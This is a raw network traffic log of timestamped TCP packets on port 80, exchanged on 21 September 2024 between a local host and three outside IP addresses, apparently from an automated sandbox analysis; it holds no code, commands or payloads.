Sep 21, 2024 13:33:41.951673985 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951683044 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951714039 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951746941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951749086 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951749086 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951771975 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951791048 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951807976 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951823950 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951857090 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951889038 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.951896906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951896906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951896906 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.951931000 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.952486038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.952577114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.952621937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.952653885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.952687025 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.952711105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.952711105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.952718973 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.952754974 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.952775002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.952775002 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.952788115 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.952867985 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.952871084 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.952929974 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.952965021 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.952985048 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953002930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953049898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953057051 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953057051 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953083992 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953105927 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953181982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953232050 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953232050 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953233957 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953267097 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953291893 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953299999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953331947 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953360081 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953360081 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953368902 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953433037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953435898 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953435898 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953468084 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953490019 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953500032 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953531981 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953542948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953542948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953564882 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953598022 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953609943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953609943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953630924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953651905 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953666925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953696012 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953716993 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953808069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953841925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953876019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953887939 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953887939 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953908920 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953932047 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953942060 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953974962 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.953989983 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.953989983 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954008102 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954031944 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954060078 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954092979 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954103947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954103947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954129934 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954154015 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954181910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954221010 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954282045 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954333067 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954334021 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954334021 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954364061 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954389095 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954415083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954458952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954458952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954467058 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954504967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954525948 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954536915 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954569101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954587936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954587936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954601049 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954623938 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954633951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954668045 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954679012 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954679012 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954699993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954731941 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954740047 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954740047 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954766035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954775095 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954798937 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954827070 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954833984 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954869986 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954885006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954885006 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954898119 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.954925060 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.954978943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.955195904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955334902 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.955414057 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955465078 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955497980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955529928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955554008 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955579996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955595016 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955598116 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.955614090 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955630064 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955638885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.955638885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.955646038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955662012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955677032 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955677986 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.955693960 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.955909014 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958018064 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958034039 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958050013 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958053112 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958123922 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958132029 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958132029 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958141088 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958158016 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958163023 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958173990 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958192110 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958197117 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958250046 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958261967 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958455086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958470106 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958484888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958537102 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958554029 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958556890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958558083 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958569050 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958585024 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958587885 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958601952 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958616972 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958632946 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958698988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958698988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.958828926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958844900 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958858967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958873987 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.958878994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.959048033 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.959172010 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.959187984 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.959203959 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.959219933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.959237099 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.959239960 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.959284067 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.959331036 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.972800016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.972851992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.972886086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.972910881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.972910881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.972919941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.972954035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.972968102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.972969055 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.972987890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973014116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973022938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973057032 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973059893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973090887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973119020 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973119020 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973140001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973172903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973190069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973190069 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973206997 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973239899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973239899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973268986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973273039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973306894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973339081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973371983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973373890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973400116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973400116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973400116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973413944 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973726988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973761082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973794937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973809958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973809958 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973828077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973860025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973862886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973879099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973896980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973929882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.973941088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973941088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.973965883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974015951 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974015951 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974020958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974066973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974069118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974102020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974121094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974133968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974159956 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974168062 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974200964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974215984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974215984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974234104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974261045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974267006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974291086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974298954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974329948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974332094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974365950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974376917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974378109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974523067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974558115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974579096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974622011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974718094 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974745035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974778891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974813938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974823952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974823952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974869013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.974930048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.974965096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.975011110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.975011110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.976917028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977093935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977123976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977144003 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977144957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977158070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977190971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977205038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977205038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977224112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977257967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977269888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977269888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977289915 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977319002 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977335930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977382898 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977384090 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977385998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977416039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977454901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977464914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977497101 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977516890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977516890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977529049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977560997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977562904 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977596045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977612019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977612019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977627993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977663994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977674007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977674007 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977701902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977713108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977734089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977767944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977799892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977823019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977823019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977823019 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977833986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.977834940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.977971077 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978017092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978050947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978081942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978094101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978094101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978113890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978126049 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978147030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978168964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.978176117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.978209972 CEST	80	49710	103.130.147.211	192.168.2.9
